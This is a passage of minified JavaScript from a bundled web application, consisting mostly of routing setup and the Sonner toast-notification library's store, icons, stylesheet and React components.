",E.jsx(H8,{})]}),W8=()=>Ct!=null&&Ct.Pending?E.jsx(h.Suspense,{fallback:E.jsx(Ct.Pending,{}),children:E.jsx(sh,{})}):E.jsx(sh,{}),Z8={Component:Ct!=null&&Ct.default?W8:sh,ErrorBoundary:Ct==null?void 0:Ct.Catch,loader:Ct==null?void 0:Ct.Loader},Q8={path:"*",Component:(Fd==null?void 0:Fd.default)||h.Fragment},Vx=[{...Z8,children:[...B8,Q8]}];_4(Vx);var K8=function(){return null},Y8=e=>{switch(e){case"success":return X8;case"info":return eR;case"warning":return J8;case"error":return tR;default:return null}},G8=Array(12).fill(0),q8=({visible:e})=>j.createElement("div",{className:"sonner-loading-wrapper","data-visible":e},j.createElement("div",{className:"sonner-spinner"},G8.map((t,n)=>j.createElement("div",{className:"sonner-loading-bar",key:`spinner-bar-${n}`})))),X8=j.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor",height:"20",width:"20"},j.createElement("path",{fillRule:"evenodd",d:"M10 18a8 8 0 100-16 8 8 0 000 16zm3.857-9.809a.75.75 0 00-1.214-.882l-3.483 4.79-1.88-1.88a.75.75 0 10-1.06 1.061l2.5 2.5a.75.75 0 001.137-.089l4-5.5z",clipRule:"evenodd"})),J8=j.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",fill:"currentColor",height:"20",width:"20"},j.createElement("path",{fillRule:"evenodd",d:"M9.401 3.003c1.155-2 4.043-2 5.197 0l7.355 12.748c1.154 2-.29 4.5-2.599 4.5H4.645c-2.309 0-3.752-2.5-2.598-4.5L9.4 3.003zM12 8.25a.75.75 0 01.75.75v3.75a.75.75 0 01-1.5 0V9a.75.75 0 01.75-.75zm0 8.25a.75.75 0 100-1.5.75.75 0 000 1.5z",clipRule:"evenodd"})),eR=j.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor",height:"20",width:"20"},j.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a.75.75 0 000 1.5h.253a.25.25 0 01.244.304l-.459 2.066A1.75 1.75 0 0010.747 15H11a.75.75 0 000-1.5h-.253a.25.25 0 01-.244-.304l.459-2.066A1.75 1.75 0 009.253 9H9z",clipRule:"evenodd"})),tR=j.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor",height:"20",width:"20"},j.createElement("path",{fillRule:"evenodd",d:"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-8-5a.75.75 0 01.75.75v4.5a.75.75 0 01-1.5 0v-4.5A.75.75 0 0110 5zm0 10a1 1 0 100-2 1 1 0 000 2z",clipRule:"evenodd"})),nR=()=>{let[e,t]=j.useState(document.hidden);return j.useEffect(()=>{let n=()=>{t(document.hidden)};return document.addEventListener("visibilitychange",n),()=>window.removeEventListener("visibilitychange",n)},[]),e},ah=1,rR=class{constructor(){this.subscribe=e=>(this.subscribers.push(e),()=>{let t=this.subscribers.indexOf(e);this.subscribers.splice(t,1)}),this.publish=e=>{this.subscribers.forEach(t=>t(e))},this.addToast=e=>{this.publish(e),this.toasts=[...this.toasts,e]},this.create=e=>{var t;let{message:n,...r}=e,o=typeof(e==null?void 0:e.id)=="number"||((t=e.id)==null?void 0:t.length)>0?e.id:ah++,i=this.toasts.find(a=>a.id===o),s=e.dismissible===void 0?!0:e.dismissible;return i?this.toasts=this.toasts.map(a=>a.id===o?(this.publish({...a,...e,id:o,title:n}),{...a,...e,id:o,dismissible:s,title:n}):a):this.addToast({title:n,...r,dismissible:s,id:o}),o},this.dismiss=e=>(e||this.toasts.forEach(t=>{this.subscribers.forEach(n=>n({id:t.id,dismiss:!0}))}),this.subscribers.forEach(t=>t({id:e,dismiss:!0})),e),this.message=(e,t)=>this.create({...t,message:e}),this.error=(e,t)=>this.create({...t,message:e,type:"error"}),this.success=(e,t)=>this.create({...t,type:"success",message:e}),this.info=(e,t)=>this.create({...t,type:"info",message:e}),this.warning=(e,t)=>this.create({...t,type:"warning",message:e}),this.loading=(e,t)=>this.create({...t,type:"loading",message:e}),this.promise=(e,t)=>{if(!t)return;let n;t.loading!==void 0&&(n=this.create({...t,promise:e,type:"loading",message:t.loading,description:typeof t.description!="function"?t.description:void 0}));let r=e instanceof Promise?e:e(),o=n!==void 0;return r.then(async i=>{if(iR(i)&&!i.ok){o=!1;let s=typeof t.error=="function"?await t.error(`HTTP error! status: ${i.status}`):t.error,a=typeof t.description=="function"?await t.description(`HTTP error! status: ${i.status}`):t.description;this.create({id:n,type:"error",message:s,description:a})}else if(t.success!==void 0){o=!1;let s=typeof t.success=="function"?await t.success(i):t.success,a=typeof t.description=="function"?await t.description(i):t.description;this.create({id:n,type:"success",message:s,description:a})}}).catch(async i=>{if(t.error!==void 0){o=!1;let s=typeof t.error=="function"?await t.error(i):t.error,a=typeof t.description=="function"?await t.description(i):t.description;this.create({id:n,type:"error",message:s,description:a})}}).finally(()=>{var i;o&&(this.dismiss(n),n=void 0),(i=t.finally)==null||i.call(t)}),n},this.custom=(e,t)=>{let n=(t==null?void 0:t.id)||ah++;return this.create({jsx:e(n),id:n,...t}),n},this.subscribers=[],this.toasts=[]}},Yt=new rR,oR=(e,t)=>{let n=(t==null?void 0:t.id)||ah++;return Yt.addToast({title:e,...t,id:n}),n},iR=e=>e&&typeof e=="object"&&"ok"in e&&typeof e.ok=="boolean"&&"status"in e&&typeof e.status=="number",sR=oR,aR=()=>Yt.toasts,la=Object.assign(sR,{success:Yt.success,info:Yt.info,warning:Yt.warning,error:Yt.error,custom:Yt.custom,message:Yt.message,promise:Yt.promise,dismiss:Yt.dismiss,loading:Yt.loading},{getHistory:aR});function lR(e,{insertAt:t}={}){if(typeof document>"u")return;let n=document.head||document.getElementsByTagName("head")[0],r=document.createElement("style");r.type="text/css",t==="top"&&n.firstChild?n.insertBefore(r,n.firstChild):n.appendChild(r),r.styleSheet?r.styleSheet.cssText=e:r.appendChild(document.createTextNode(e))}lR(`:where(html[dir="ltr"]),:where([data-sonner-toaster][dir="ltr"]){--toast-icon-margin-start: -3px;--toast-icon-margin-end: 4px;--toast-svg-margin-start: -1px;--toast-svg-margin-end: 0px;--toast-button-margin-start: auto;--toast-button-margin-end: 0;--toast-close-button-start: 0;--toast-close-button-end: unset;--toast-close-button-transform: translate(-35%, -35%)}:where(html[dir="rtl"]),:where([data-sonner-toaster][dir="rtl"]){--toast-icon-margin-start: 4px;--toast-icon-margin-end: -3px;--toast-svg-margin-start: 0px;--toast-svg-margin-end: -1px;--toast-button-margin-start: 0;--toast-button-margin-end: auto;--toast-close-button-start: unset;--toast-close-button-end: 0;--toast-close-button-transform: translate(35%, -35%)}:where([data-sonner-toaster]){position:fixed;width:var(--width);font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;--gray1: hsl(0, 0%, 99%);--gray2: hsl(0, 0%, 97.3%);--gray3: hsl(0, 0%, 95.1%);--gray4: hsl(0, 0%, 93%);--gray5: hsl(0, 0%, 90.9%);--gray6: hsl(0, 0%, 88.7%);--gray7: hsl(0, 0%, 85.8%);--gray8: hsl(0, 0%, 78%);--gray9: hsl(0, 0%, 56.1%);--gray10: hsl(0, 0%, 52.3%);--gray11: hsl(0, 0%, 43.5%);--gray12: hsl(0, 0%, 9%);--border-radius: 8px;box-sizing:border-box;padding:0;margin:0;list-style:none;outline:none;z-index:999999999}:where([data-sonner-toaster][data-x-position="right"]){right:max(var(--offset),env(safe-area-inset-right))}:where([data-sonner-toaster][data-x-position="left"]){left:max(var(--offset),env(safe-area-inset-left))}:where([data-sonner-toaster][data-x-position="center"]){left:50%;transform:translate(-50%)}:where([data-sonner-toaster][data-y-position="top"]){top:max(var(--offset),env(safe-area-inset-top))}:where([data-sonner-toaster][data-y-position="bottom"]){bottom:max(var(--offset),env(safe-area-inset-bottom))}:where([data-sonner-toast]){--y: translateY(100%);--lift-amount: calc(var(--lift) * var(--gap));z-index:var(--z-index);position:absolute;opacity:0;transform:var(--y);filter:blur(0);touch-action:none;transition:transform .4s,opacity .4s,height .4s,box-shadow .2s;box-sizing:border-box;outline:none;overflow-wrap:anywhere}:where([data-sonner-toast][data-styled="true"]){padding:16px;background:var(--normal-bg);border:1px solid var(--normal-border);color:var(--normal-text);border-radius:var(--border-radius);box-shadow:0 4px 12px #0000001a;width:var(--width);font-size:13px;display:flex;align-items:center;gap:6px}:where([data-sonner-toast]:focus-visible){box-shadow:0 4px 12px #0000001a,0 0 0 2px #0003}:where([data-sonner-toast][data-y-position="top"]){top:0;--y: translateY(-100%);--lift: 1;--lift-amount: calc(1 * var(--gap))}:where([data-sonner-toast][data-y-position="bottom"]){bottom:0;--y: translateY(100%);--lift: -1;--lift-amount: calc(var(--lift) * var(--gap))}:where([data-sonner-toast]) :where([data-description]){font-weight:400;line-height:1.4;color:inherit}:where([data-sonner-toast]) :where([data-title]){font-weight:500;line-height:1.5;color:inherit}:where([data-sonner-toast]) :where([data-icon]){display:flex;height:16px;width:16px;position:relative;justify-content:flex-start;align-items:center;flex-shrink:0;margin-left:var(--toast-icon-margin-start);margin-right:var(--toast-icon-margin-end)}:where([data-sonner-toast][data-promise="true"]) :where([data-icon])>svg{opacity:0;transform:scale(.8);transform-origin:center;animation:sonner-fade-in .3s ease forwards}:where([data-sonner-toast]) :where([data-icon])>*{flex-shrink:0}:where([data-sonner-toast]) :where([data-icon]) svg{margin-left:var(--toast-svg-margin-start);margin-right:var(--toast-svg-margin-end)}:where([data-sonner-toast]) :where([data-content]){display:flex;flex-direction:column;gap:2px}[data-sonner-toast][data-styled=true] [data-button]{border-radius:4px;padding-left:8px;padding-right:8px;height:24px;font-size:12px;color:var(--normal-bg);background:var(--normal-text);margin-left:var(--toast-button-margin-start);margin-right:var(--toast-button-margin-end);border:none;cursor:pointer;outline:none;display:flex;align-items:center;flex-shrink:0;transition:opacity .4s,box-shadow .2s}:where([data-sonner-toast]) :where([data-button]):focus-visible{box-shadow:0 0 0 2px #0006}:where([data-sonner-toast]) :where([data-button]):first-of-type{margin-left:var(--toast-button-margin-start);margin-right:var(--toast-button-margin-end)}:where([data-sonner-toast]) :where([data-cancel]){color:var(--normal-text);background:rgba(0,0,0,.08)}:where([data-sonner-toast][data-theme="dark"]) :where([data-cancel]){background:rgba(255,255,255,.3)}:where([data-sonner-toast]) :where([data-close-button]){position:absolute;left:var(--toast-close-button-start);right:var(--toast-close-button-end);top:0;height:20px;width:20px;display:flex;justify-content:center;align-items:center;padding:0;background:var(--gray1);color:var(--gray12);border:1px solid var(--gray4);transform:var(--toast-close-button-transform);border-radius:50%;cursor:pointer;z-index:1;transition:opacity .1s,background .2s,border-color .2s}:where([data-sonner-toast]) :where([data-close-button]):focus-visible{box-shadow:0 4px 12px #0000001a,0 0 0 2px #0003}:where([data-sonner-toast]) :where([data-disabled="true"]){cursor:not-allowed}:where([data-sonner-toast]):hover :where([data-close-button]):hover{background:var(--gray2);border-color:var(--gray5)}:where([data-sonner-toast][data-swiping="true"]):before{content:"";position:absolute;left:0;right:0;height:100%;z-index:-1}:where([data-sonner-toast][data-y-position="top"][data-swiping="true"]):before{bottom:50%;transform:scaleY(3) translateY(50%)}:where([data-sonner-toast][data-y-position="bottom"][data-swiping="true"]):before{top:50%;transform:scaleY(3) translateY(-50%)}:where([data-sonner-toast][data-swiping="false"][data-removed="true"]):before{content:"";position:absolute;inset:0;transform:scaleY(2)}:where([data-sonner-toast]):after{content:"";position:absolute;left:0;height:calc(var(--gap) + 1px);bottom:100%;width:100%}:where([data-sonner-toast][data-mounted="true"]){--y: translateY(0);opacity:1}:where([data-sonner-toast][data-expanded="false"][data-front="false"]){--scale: var(--toasts-before) * .05 + 1;--y: translateY(calc(var(--lift-amount) * var(--toasts-before))) scale(calc(-1 * var(--scale)));height:var(--front-toast-height)}:where([data-sonner-toast])>*{transition:opacity .4s}:where([data-sonner-toast][data-expanded="false"][data-front="false"][data-styled="true"])>*{opacity:0}:where([data-sonner-toast][data-visible="false"]){opacity:0;pointer-events:none}:where([data-sonner-toast][data-mounted="true"][data-expanded="true"]){--y: translateY(calc(var(--lift) * var(--offset)));height:var(--initial-height)}:where([data-sonner-toast][data-removed="true"][data-front="true"][data-swipe-out="false"]){--y: translateY(calc(var(--lift) * -100%));opacity:0}:where([data-sonner-toast][data-removed="true"][data-front="false"][data-swipe-out="false"][data-expanded="true"]){--y: translateY(calc(var(--lift) * var(--offset) + var(--lift) * -100%));opacity:0}:where([data-sonner-toast][data-removed="true"][data-front="false"][data-swipe-out="false"][data-expanded="false"]){--y: translateY(40%);opacity:0;transition:transform .5s,opacity .2s}:where([data-sonner-toast][data-removed="true"][data-front="false"]):before{height:calc(var(--initial-height) + 20%)}[data-sonner-toast][data-swiping=true]{transform:var(--y) translateY(var(--swipe-amount, 0px));transition:none}[data-sonner-toast][data-swipe-out=true][data-y-position=bottom],[data-sonner-toast][data-swipe-out=true][data-y-position=top]{animation:swipe-out .2s ease-out forwards}@keyframes swipe-out{0%{transform:translateY(calc(var(--lift) * var(--offset) + var(--swipe-amount)));opacity:1}to{transform:translateY(calc(var(--lift) * var(--offset) + var(--swipe-amount) + var(--lift) * -100%));opacity:0}}@media (max-width: 600px){[data-sonner-toaster]{position:fixed;--mobile-offset: 16px;right:var(--mobile-offset);left:var(--mobile-offset);width:100%}[data-sonner-toaster] [data-sonner-toast]{left:0;right:0;width:calc(100% - var(--mobile-offset) * 2)}[data-sonner-toaster][data-x-position=left]{left:var(--mobile-offset)}[data-sonner-toaster][data-y-position=bottom]{bottom:20px}[data-sonner-toaster][data-y-position=top]{top:20px}[data-sonner-toaster][data-x-position=center]{left:var(--mobile-offset);right:var(--mobile-offset);transform:none}}[data-sonner-toaster][data-theme=light]{--normal-bg: #fff;--normal-border: var(--gray4);--normal-text: var(--gray12);--success-bg: hsl(143, 85%, 96%);--success-border: hsl(145, 92%, 91%);--success-text: hsl(140, 100%, 27%);--info-bg: hsl(208, 100%, 97%);--info-border: hsl(221, 91%, 91%);--info-text: hsl(210, 92%, 45%);--warning-bg: hsl(49, 100%, 97%);--warning-border: hsl(49, 91%, 91%);--warning-text: hsl(31, 92%, 45%);--error-bg: hsl(359, 100%, 97%);--error-border: hsl(359, 100%, 94%);--error-text: hsl(360, 100%, 45%)}[data-sonner-toaster][data-theme=light] [data-sonner-toast][data-invert=true]{--normal-bg: #000;--normal-border: hsl(0, 0%, 20%);--normal-text: var(--gray1)}[data-sonner-toaster][data-theme=dark] [data-sonner-toast][data-invert=true]{--normal-bg: #fff;--normal-border: var(--gray3);--normal-text: var(--gray12)}[data-sonner-toaster][data-theme=dark]{--normal-bg: #000;--normal-border: hsl(0, 0%, 20%);--normal-text: var(--gray1);--success-bg: hsl(150, 100%, 6%);--success-border: hsl(147, 100%, 12%);--success-text: hsl(150, 86%, 65%);--info-bg: hsl(215, 100%, 6%);--info-border: hsl(223, 100%, 12%);--info-text: hsl(216, 87%, 65%);--warning-bg: hsl(64, 100%, 6%);--warning-border: hsl(60, 100%, 12%);--warning-text: hsl(46, 87%, 65%);--error-bg: hsl(358, 76%, 10%);--error-border: hsl(357, 89%, 16%);--error-text: hsl(358, 100%, 81%)}[data-rich-colors=true][data-sonner-toast][data-type=success],[data-rich-colors=true][data-sonner-toast][data-type=success] [data-close-button]{background:var(--success-bg);border-color:var(--success-border);color:var(--success-text)}[data-rich-colors=true][data-sonner-toast][data-type=info],[data-rich-colors=true][data-sonner-toast][data-type=info] [data-close-button]{background:var(--info-bg);border-color:var(--info-border);color:var(--info-text)}[data-rich-colors=true][data-sonner-toast][data-type=warning],[data-rich-colors=true][data-sonner-toast][data-type=warning] [data-close-button]{background:var(--warning-bg);border-color:var(--warning-border);color:var(--warning-text)}[data-rich-colors=true][data-sonner-toast][data-type=error],[data-rich-colors=true][data-sonner-toast][data-type=error] [data-close-button]{background:var(--error-bg);border-color:var(--error-border);color:var(--error-text)}.sonner-loading-wrapper{--size: 16px;height:var(--size);width:var(--size);position:absolute;inset:0;z-index:10}.sonner-loading-wrapper[data-visible=false]{transform-origin:center;animation:sonner-fade-out .2s ease forwards}.sonner-spinner{position:relative;top:50%;left:50%;height:var(--size);width:var(--size)}.sonner-loading-bar{animation:sonner-spin 1.2s linear infinite;background:var(--gray11);border-radius:6px;height:8%;left:-10%;position:absolute;top:-3.9%;width:24%}.sonner-loading-bar:nth-child(1){animation-delay:-1.2s;transform:rotate(.0001deg) translate(146%)}.sonner-loading-bar:nth-child(2){animation-delay:-1.1s;transform:rotate(30deg) translate(146%)}.sonner-loading-bar:nth-child(3){animation-delay:-1s;transform:rotate(60deg) translate(146%)}.sonner-loading-bar:nth-child(4){animation-delay:-.9s;transform:rotate(90deg) translate(146%)}.sonner-loading-bar:nth-child(5){animation-delay:-.8s;transform:rotate(120deg) translate(146%)}.sonner-loading-bar:nth-child(6){animation-delay:-.7s;transform:rotate(150deg) translate(146%)}.sonner-loading-bar:nth-child(7){animation-delay:-.6s;transform:rotate(180deg) translate(146%)}.sonner-loading-bar:nth-child(8){animation-delay:-.5s;transform:rotate(210deg) translate(146%)}.sonner-loading-bar:nth-child(9){animation-delay:-.4s;transform:rotate(240deg) translate(146%)}.sonner-loading-bar:nth-child(10){animation-delay:-.3s;transform:rotate(270deg) translate(146%)}.sonner-loading-bar:nth-child(11){animation-delay:-.2s;transform:rotate(300deg) translate(146%)}.sonner-loading-bar:nth-child(12){animation-delay:-.1s;transform:rotate(330deg) translate(146%)}@keyframes sonner-fade-in{0%{opacity:0;transform:scale(.8)}to{opacity:1;transform:scale(1)}}@keyframes sonner-fade-out{0%{opacity:1;transform:scale(1)}to{opacity:0;transform:scale(.8)}}@keyframes sonner-spin{0%{opacity:1}to{opacity:.15}}@media (prefers-reduced-motion){[data-sonner-toast],[data-sonner-toast]>*,.sonner-loading-bar{transition:none!important;animation:none!important}}.sonner-loader{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);transform-origin:center;transition:opacity .2s,transform .2s}.sonner-loader[data-visible=false]{opacity:0;transform:scale(.8) translate(-50%,-50%)}
`);function ru(e){return e.label!==void 0}var uR=3,cR="32px",dR=4e3,fR=356,hR=14,pR=20,mR=200;function vR(...e){return e.filter(Boolean).join(" ")}var gR=e=>{var t,n,r,o,i,s,a,l,u,c;let{invert:f,toast:d,unstyled:m,interacting:w,setHeights:g,visibleToasts:x,heights:v,index:p,toasts:y,expanded:C,removeToast:_,defaultRichColors:b,closeButton:P,style:T,cancelButtonStyle:O,actionButtonStyle:M,className:$="",descriptionClassName:B="",duration:ne,position:re,gap:me,loadingIcon:le,expandByDefault:Q,classNames:L,icons:D,closeButtonAriaLabel:q="Close toast",pauseWhenPageIsHidden:W,cn:X}=e,[we,ke]=j.useState(!1),[Xe,ge]=j.useState(!1),[Zt,ln]=j.useState(!1),[Fn,$n]=j.useState(!1),[pi,Je]=j.useState(0),[jt,Dr]=j.useState(0),mi=j.useRef(null),gt=j.useRef(null),Ws=p===0,Zs=p+1<=x,nt=d.type,jr=d.dismissible!==!1,Qc=d.className||"",Kc=d.descriptionClassName||"",vi=j.useMemo(()=>v.findIndex(ae=>ae.toastId===d.id)||0,[v,d.id]),Ao=j.useMemo(()=>{var ae;return(ae=d.closeButton)!=null?ae:P},[d.closeButton,P]),Ir=j.useMemo(()=>d.duration||ne||dR,[d.duration,ne]),gi=j.useRef(0),Un=j.useRef(0),xn=j.useRef(0),yt=j.useRef(null),[Qs,yi]=re.split("-"),kl=j.useMemo(()=>v.reduce((ae,Re,Ne)=>Ne>=vi?ae:ae+Re.height,0),[v,vi]),bn=nR(),Rl=d.invert||f,wi=nt==="loading";Un.current=j.useMemo(()=>vi*me+kl,[vi,kl]),j.useEffect(()=>{ke(!0)},[]),j.useLayoutEffect(()=>{if(!we)return;let ae=gt.current,Re=ae.style.height;ae.style.height="auto";let Ne=ae.getBoundingClientRect().height;ae.style.height=Re,Dr(Ne),g(It=>It.find(kt=>kt.toastId===d.id)?It.map(kt=>kt.toastId===d.id?{...kt,height:Ne}:kt):[{toastId:d.id,height:Ne,position:d.position},...It])},[we,d.title,d.description,g,d.id]);let Cn=j.useCallback(()=>{ge(!0),Je(Un.current),g(ae=>ae.filter(Re=>Re.toastId!==d.id)),setTimeout(()=>{_(d)},mR)},[d,_,g,Un]);j.useEffect(()=>{if(d.promise&&nt==="loading"||d.duration===1/0||d.type==="loading")return;let ae,Re=Ir;return C||w||W&&bn?(()=>{if(xn.current<gi.current){let Ne=new Date().getTime()-gi.current;Re=Re-Ne}xn.current=new Date().getTime()})():Re!==1/0&&(gi.current=new Date().getTime(),ae=setTimeout(()=>{var Ne;(Ne=d.onAutoClose)==null||Ne.call(d,d),Cn()},Re)),()=>clearTimeout(ae)},[C,w,Q,d,Ir,Cn,d.promise,nt,W,bn]),j.useEffect(()=>{let ae=gt.current;if(ae){let Re=ae.getBoundingClientRect().height;return Dr(Re),g(Ne=>[{toastId:d.id,height:Re,position:d.position},...Ne]),()=>g(Ne=>Ne.filter(It=>It.toastId!==d.id))}},[g,d.id]),j.useEffect(()=>{d.delete&&Cn()},[Cn,d.delete]);function Yc(){return D!=null&&D.loading?j.createElement("div",{className:"sonner-loader","data-visible":nt==="loading"},D.loading):le?j.createElement("div",{className:"sonner-loader","data-visible":nt==="loading"},le):j.createElement(q8,{visible:nt==="loading"})}return j.createElement("li",{"aria-live":d.important?"assertive":"polite","aria-atomic":"true",role:"status",tabIndex:0,ref:gt,className:X($,Qc,L==null?void 0:L.toast,(t=d==null?void 0:d.classNames)==null?void 0:t.toast,L==null?void 0:L.default,L==null?void 0:L[nt],(n=d==null?void 0:d.classNames)==null?void 0:n[nt]),"data-sonner-toast":"","data-rich-colors":(r=d.richColors)!=null?r:b,"data-styled":!(d.jsx||d.unstyled||m),"data-mounted":we,"data-promise":!!d.promise,"data-removed":Xe,"data-visible":Zs,"data-y-position":Qs,"data-x-position":yi,"data-index":p,"data-front":Ws,"data-swiping":Zt,"data-dismissible":jr,"data-type":nt,"data-invert":Rl,"data-swipe-out":Fn,"data-expanded":!!(C||Q&&we),style:{"--index":p,"--toasts-before":p,"--z-index":y.length-p,"--offset":`${Xe?pi:Un.current}px`,"--initial-height":Q?"auto":`${jt}px`,...T,...d.style},onPointerDown:ae=>{wi||!jr||(mi.current=new Date,Je(Un.current),ae.target.setPointerCapture(ae.pointerId),ae.target.tagName!=="BUTTON"&&(ln(!0),yt.current={x:ae.clientX,y:ae.clientY}))},onPointerUp:()=>{var ae,Re,Ne,It;if(Fn||!jr)return;yt.current=null;let kt=Number(((ae=gt.current)==null?void 0:ae.style.getPropertyValue("--swipe-amount").replace("px",""))||0),zr=new Date().getTime()-((Re=mi.current)==null?void 0:Re.getTime()),Gc=Math.abs(kt)/zr;if(Math.abs(kt)>=pR||Gc>.11){Je(Un.current),(Ne=d.onDismiss)==null||Ne.call(d,d),Cn(),$n(!0);return}(It=gt.current)==null||It.style.setProperty("--swipe-amount","0px"),ln(!1)},onPointerMove:ae=>{var Re;if(!yt.current||!jr)return;let Ne=ae.clientY-yt.current.y,It=ae.clientX-yt.current.x,kt=(Qs==="top"?Math.min:Math.max)(0,Ne),zr=ae.pointerType==="touch"?10:2;Math.abs(kt)>zr?(Re=gt.current)==null||Re.style.setProperty("--swipe-amount",`${Ne}px`):Math.abs(It)>zr&&(yt.current=null)}},Ao&&!d.jsx?j.createElement("button",{"aria-label":q,"data-disabled":wi,"data-close-button":!0,onClick:wi||!jr?()=>{}:()=>{var ae;Cn(),(ae=d.onDismiss)==null||ae.call(d,d)},className:X(L==null?void 0:L.closeButton,(o=d==null?void 0:d.classNames)==null?void 0:o.closeButton)},j.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",width:"12",height:"12",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",strokeLinecap:"round",strokeLinejoin:"round"},j.createElement("line",{x1:"18",y1:"6",x2:"6",y2:"18"}),j.createElement("line",{x1:"6",y1:"6",x2:"18",y2:"18"}))):null,d.jsx||j.isValidElement(d.title)?d.jsx||d.title:j.createElement(j.Fragment,null,nt||d.icon||d.promise?j.createElement("div",{"data-icon":"",className:X(L==null?void 0:L.icon,(i=d==null?void 0:d.classNames)==null?void 0:i.icon)},d.promise||d.type==="loading"&&!d.icon?d.icon||Yc():null,d.type!=="loading"?d.icon||(D==null?void 0:D[nt])||Y8(nt):null):null,j.createElement("div",{"data-content":"",className:X(L==null?void 0:L.content,(s=d==null?void 0:d.classNames)==null?void 0:s.content)},j.createElement("div",{"data-title":"",className:X(L==null?void 0:L.title,(a=d==null?void 0:d.classNames)==null?void 0:a.title)},d.title),d.description?j.createElement("div",{"data-description":"",className:X(B,Kc,L==null?void 0:L.description,(l=d==null?void 0:d.classNames)==null?void 0:l.description)},d.description):null),j.isValidElement(d.cancel)?d.cancel:d.cancel&&ru(d.cancel)?j.createElement("button",{"data-button":!0,"data-cancel":!0,style:d.cancelButtonStyle||O,onClick:ae=>{var Re,Ne;ru(d.cancel)&&jr&&((Ne=(Re=d.cancel).onClick)==null||Ne.call(Re,ae),Cn())},className:X(L==null?void 0:L.cancelButton,(u=d==null?void 0:d.classNames)==null?void 0:u.cancelButton)},d.cancel.label):null,j.isValidElement(d.action)?d.action:d.action&&ru(d.action)?j.createElement("button",{"data-button":!0,"data-action":!0,style:d.actionButtonStyle||M,onClick:ae=>{var Re,Ne;ru(d.action)&&(ae.defaultPrevented||((Ne=(Re=d.action).onClick)==null||Ne.call(Re,ae),Cn()))},className:X(L==null?void 0:L.actionButton,(c=d==null?void 0:d.classNames)==null?void 0:c.actionButton)},d.action.label):null))};function hg(){if(typeof window>"u"||typeof document>"u")return"ltr";let e=document.documentElement.getAttribute("dir");return e==="auto"||!e?window.getComputedStyle(document.documentElement).direction:e}var yR=e=>{let{invert:t,position:n="bottom-right",hotkey:r=["altKey","KeyT"],expand:o,closeButton:i,className:s,offset:a,theme:l="light",richColors:u,duration:c,style:f,visibleToasts:d=uR,toastOptions:m,dir:w=hg(),gap:g=hR,loadingIcon:x,icons:v,containerAriaLabel:p="Notifications",pauseWhenPageIsHidden:y,cn:C=vR}=e,[_,b]=j.useState([]),P=j.useMemo(()=>Array.from(new Set([n].concat(_.filter(W=>W.position).map(W=>W.position)))),[_,n]),[T,O]=j.useState([]),[M,$]=j.useState(!1),[B,ne]=j.useState(!1),[re,me]=j.useState(l!=="system"?l:typeof window<"u"&&window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"),le=j.useRef(null),Q=r.join("+").replace(/Key/g,"").replace(/Digit/g,""),L=j.useRef(null),D=j.useRef(!1),q=j.useCallback(W=>{var X;(X=_.find(we=>we.id===W.id))!=null&&X.delete||Yt.dismiss(W.id),b(we=>we.filter(({id:ke})=>ke!==W.id))},[_]);return j.useEffect(()=>Yt.subscribe(W=>{if(W.dismiss){b(X=>X.map(we=>we.id===W.id?{...we,delete:!0}:we));return}setTimeout(()=>{up.flushSync(()=>{b(X=>{let we=X.findIndex(ke=>ke.id===W.id);return we!==-1?[...X.slice(0,we),{...X[we],...W},...X.slice(we+1)]:[W,...X]})})})}),[]),j.useEffect(()=>{if(l!=="system"){me(l);return}l==="system"&&(window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches?me("dark"):me("light")),typeof window<"u"&&window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change",({matches:W})=>{me(W?"dark":"light")})},[l]),j.useEffect(()=>{_.length<=1&&$(!1)},[_]),j.useEffect(()=>{let W=X=>{var we,ke;r.every(Xe=>X[Xe]||X.code===Xe)&&($(!0),(we=le.current)==null||we.focus()),X.code==="Escape"&&(document.activeElement===le.current||(ke=le.current)!=null&&ke.contains(document.activeElement))&&$(!1)};return document.addEventListener("keydown",W),()=>document.removeEventListener("keydown",W)},[r]),j.useEffect(()=>{if(le.current)return()=>{L.current&&(L.current.focus({preventScroll:!0}),L.current=null,D.current=!1)}},[le.current]),_.length?j.createElement("section",{"aria-label":`${p} ${Q}`,tabIndex:-1},P.map((W,X)=>{var we;let[ke,Xe]=W.split("-");return j.createElement("ol",{key:W,dir:w==="auto"?hg():w,tabIndex:-1,ref:le,className:s,"data-sonner-toaster":!0,"data-theme":re,"data-y-position":ke,"data-x-position":Xe,style:{"--front-toast-height":`${((we=T[0])==null?void 0:we.height)||0}px`,"--offset":typeof a=="number"?`${a}px`:a||cR,"--width":`${fR}px`,"--gap":`${g}px`,...f},onBlur:ge=>{D.current&&!ge.currentTarget.contains(ge.relatedTarget)&&(D.current=!1,L.current&&(L.current.focus({preventScroll:!0}),L.current=null))},onFocus:ge=>{ge.target instanceof HTMLElement&&ge.target.dataset.dismissible==="false"||D.current||(D.current=!0,L.current=ge.relatedTarget)},onMouseEnter:()=>$(!0),onMouseMove:()=>$(!0),onMouseLeave:()=>{B||$(!1)},onPointerDown:ge=>{ge.target instanceof HTMLElement&&ge.target.dataset.dismissible==="false"||ne(!0)},onPointerUp:()=>ne(!1)},_.filter(ge=>!ge.position&&X===0||ge.position===W).map((ge,Zt)=>{var ln,Fn;return j.createElement(gR,{key:ge.id,icons:v,index:Zt,toast:ge,defaultRichColors:u,duration:(ln=m==null?void 0:m.duration)!=null?ln:c,className:m==null?void 0:m.className,descriptionClassName:m==null?void 0:m.descriptionClassName,invert:t,visibleToasts:d,closeButton:(Fn=m==null?void 